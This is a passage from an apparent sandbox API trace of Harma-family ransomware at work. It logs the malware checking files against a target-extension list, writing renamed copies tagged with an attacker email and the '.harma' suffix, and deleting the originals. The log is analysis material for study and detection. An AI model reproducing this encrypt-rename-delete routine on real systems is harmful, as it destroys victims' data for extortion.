DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf")) returned 1 [0157.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0157.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0157.908] lstrlenW (lpString=".doc") returned 4 [0157.908] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.908] lstrlenW (lpString=".docx") returned 5 [0157.908] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.908] lstrlenW (lpString=".pdf") returned 4 [0157.908] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.908] lstrlenW (lpString=".xls") returned 4 [0157.908] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.908] lstrlenW (lpString=".xlsx") returned 5 [0157.908] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.908] lstrlenW (lpString=".ppt") returned 4 [0157.908] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0157.908] lstrlenW (lpString=".zip") returned 4 [0157.908] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.908] lstrlenW (lpString=".rar") returned 4 [0157.908] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.909] lstrlenW (lpString=".bz2") returned 4 [0157.909] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.909] lstrlenW (lpString=".7z") returned 3 [0157.909] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0157.909] lstrlenW (lpString=".dbf") returned 4 [0157.909] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0157.909] lstrlenW (lpString=".1cd") returned 4 [0157.909] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0157.909] lstrlenW (lpString=".jpg") returned 4 [0157.909] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0157.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0157.909] lstrlenW (lpString=".doc") returned 4 [0157.909] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.909] lstrlenW (lpString=".docx") returned 5 [0157.909] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.909] lstrlenW (lpString=".pdf") returned 4 [0157.909] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.909] lstrlenW (lpString=".xls") returned 4 [0157.909] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.909] lstrlenW (lpString=".xlsx") returned 5 [0157.909] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.909] lstrlenW (lpString=".ppt") returned 4 [0157.909] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0157.909] lstrlenW (lpString=".zip") returned 4 [0157.909] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.909] lstrlenW (lpString=".rar") returned 4 [0157.909] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.910] lstrlenW (lpString=".bz2") returned 4 [0157.910] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.910] lstrlenW (lpString=".7z") returned 3 [0157.910] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0157.910] lstrlenW (lpString=".dbf") returned 4 [0157.910] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0157.910] lstrlenW (lpString=".1cd") returned 4 [0157.910] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0157.910] lstrlenW (lpString=".jpg") returned 4 [0157.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.910] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0157.910] lstrlenW (lpString="HH00693_.WMF") returned 12 [0157.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0157.911] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=7098) returned 1 [0157.911] CloseHandle (hObject=0x334) returned 1 [0157.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf")) returned 0x20 [0157.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0157.911] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.911] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.912] GetLastError () returned 0x0 [0157.912] ReadFile (in: hFile=0x334, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x1bba, lpOverlapped=0x0) returned 1 [0157.914] WriteFile (in: hFile=0x37c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1bc0, lpOverlapped=0x0) returned 1 [0157.914] ReadFile (in: hFile=0x334, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.915] WriteFile (in: hFile=0x37c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.915] SetEndOfFile (hFile=0x37c) returned 1 [0157.915] CloseHandle (hObject=0x37c) returned 1 [0157.915] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.915] SetEndOfFile (hFile=0x334) returned 1 [0157.917] CloseHandle (hObject=0x334) returned 1 [0157.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.917] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf")) returned 1 [0157.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0157.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0157.918] lstrlenW (lpString=".doc") returned 4 [0157.919] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.919] lstrlenW (lpString=".docx") returned 5 [0157.919] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.919] lstrlenW (lpString=".pdf") returned 4 [0157.919] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.919] lstrlenW (lpString=".xls") returned 4 [0157.919] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.919] lstrlenW (lpString=".xlsx") returned 5 [0157.919] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.919] lstrlenW (lpString=".ppt") returned 4 [0157.919] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0157.919] lstrlenW (lpString=".zip") returned 4 [0157.919] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.919] lstrlenW (lpString=".rar") returned 4 [0157.919] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.919] lstrlenW (lpString=".bz2") returned 4 [0157.919] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.919] lstrlenW (lpString=".7z") returned 3 [0157.919] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0157.919] lstrlenW (lpString=".dbf") returned 4 [0157.919] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0157.919] lstrlenW (lpString=".1cd") returned 4 [0157.919] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0157.919] lstrlenW (lpString=".jpg") returned 4 [0157.919] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0157.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0157.920] lstrlenW (lpString=".doc") returned 4 [0157.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.920] lstrlenW (lpString=".docx") returned 5 [0157.920] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.920] lstrlenW (lpString=".pdf") returned 4 [0157.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.920] lstrlenW (lpString=".xls") returned 4 [0157.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.920] lstrlenW (lpString=".xlsx") returned 5 [0157.920] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.920] lstrlenW (lpString=".ppt") returned 4 [0157.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0157.920] lstrlenW (lpString=".zip") returned 4 [0157.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.920] lstrlenW (lpString=".rar") returned 4 [0157.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.920] lstrlenW (lpString=".bz2") returned 4 [0157.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.920] lstrlenW (lpString=".7z") returned 3 [0157.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0157.920] lstrlenW (lpString=".dbf") returned 4 [0157.920] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0157.920] lstrlenW (lpString=".1cd") returned 4 [0157.920] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0157.920] lstrlenW (lpString=".jpg") returned 4 [0157.920] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.921] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0157.921] lstrlenW (lpString="HH01013_.WMF") returned 12 [0157.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0157.922] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2848) returned 1 [0157.922] CloseHandle (hObject=0x334) returned 1 [0157.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf")) returned 0x20 [0157.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0157.922] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.922] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.923] GetLastError () returned 0x0 [0157.923] ReadFile (in: hFile=0x334, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0xb20, lpOverlapped=0x0) returned 1 [0157.925] WriteFile (in: hFile=0x37c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xb30, lpOverlapped=0x0) returned 1 [0157.926] ReadFile (in: hFile=0x334, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.926] WriteFile (in: hFile=0x37c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.926] SetEndOfFile (hFile=0x37c) returned 1 [0157.926] CloseHandle (hObject=0x37c) returned 1 [0157.926] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.926] SetEndOfFile (hFile=0x334) returned 1 [0157.928] CloseHandle (hObject=0x334) returned 1 [0157.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.929] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf")) returned 1 [0157.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0157.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0157.929] lstrlenW (lpString=".doc") returned 4 [0157.929] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.929] lstrlenW (lpString=".docx") returned 5 [0157.929] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.929] lstrlenW (lpString=".pdf") returned 4 [0157.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.929] lstrlenW (lpString=".xls") returned 4 [0157.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.929] lstrlenW (lpString=".xlsx") returned 5 [0157.929] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.929] lstrlenW (lpString=".ppt") returned 4 [0157.930] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0157.930] lstrlenW (lpString=".zip") returned 4 [0157.930] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.930] lstrlenW (lpString=".rar") returned 4 [0157.930] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.930] lstrlenW (lpString=".bz2") returned 4 [0157.930] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.930] lstrlenW (lpString=".7z") returned 3 [0157.930] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0157.930] lstrlenW (lpString=".dbf") returned 4 [0157.930] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0157.930] lstrlenW (lpString=".1cd") returned 4 [0157.930] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0157.930] lstrlenW (lpString=".jpg") returned 4 [0157.930] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0157.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0157.930] lstrlenW (lpString=".doc") returned 4 [0157.930] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.930] lstrlenW (lpString=".docx") returned 5 [0157.930] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.930] lstrlenW (lpString=".pdf") returned 4 [0157.930] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.930] lstrlenW (lpString=".xls") returned 4 [0157.930] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.931] lstrlenW (lpString=".xlsx") returned 5 [0157.931] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.931] lstrlenW (lpString=".ppt") returned 4 [0157.931] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0157.931] lstrlenW (lpString=".zip") returned 4 [0157.931] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.931] lstrlenW (lpString=".rar") returned 4 [0157.931] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.931] lstrlenW (lpString=".bz2") returned 4 [0157.931] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.931] lstrlenW (lpString=".7z") returned 3 [0157.931] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0157.931] lstrlenW (lpString=".dbf") returned 4 [0157.931] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0157.931] lstrlenW (lpString=".1cd") returned 4 [0157.931] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0157.931] lstrlenW (lpString=".jpg") returned 4 [0157.931] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.931] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0157.931] lstrlenW (lpString="HH01015_.WMF") returned 12 [0157.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0158.539] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=1148) returned 1 [0158.539] CloseHandle (hObject=0x370) returned 1 [0158.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf")) returned 0x20 [0158.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.749] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.749] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0158.750] GetLastError () returned 0x0 [0158.750] ReadFile (in: hFile=0x380, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x47c, lpOverlapped=0x0) returned 1 [0158.777] WriteFile (in: hFile=0x350, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x480, lpOverlapped=0x0) returned 1 [0158.778] ReadFile (in: hFile=0x380, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.778] WriteFile (in: hFile=0x350, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.778] SetEndOfFile (hFile=0x350) returned 1 [0158.779] CloseHandle (hObject=0x350) returned 1 [0158.779] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.779] SetEndOfFile (hFile=0x380) returned 1 [0158.782] CloseHandle (hObject=0x380) returned 1 [0158.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.782] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf")) returned 1 [0158.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0158.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0158.783] lstrlenW (lpString=".doc") returned 4 [0158.783] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.783] lstrlenW (lpString=".docx") returned 5 [0158.783] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.783] lstrlenW (lpString=".pdf") returned 4 [0158.783] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.783] 